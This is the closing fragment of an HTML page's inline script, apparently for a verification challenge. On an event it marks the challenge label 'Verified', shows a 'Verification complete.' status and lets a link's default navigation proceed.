            document.getElementById('challengeLabel').textContent = 'Verified';
            document.getElementById('statusText').textContent = 'Verification complete.';
            document.getElementById('statusText').classList.add('success');
            // Browser follows the <a> href naturally — we do NOT preventDefault()
        });
    </script>
</body>
</html>
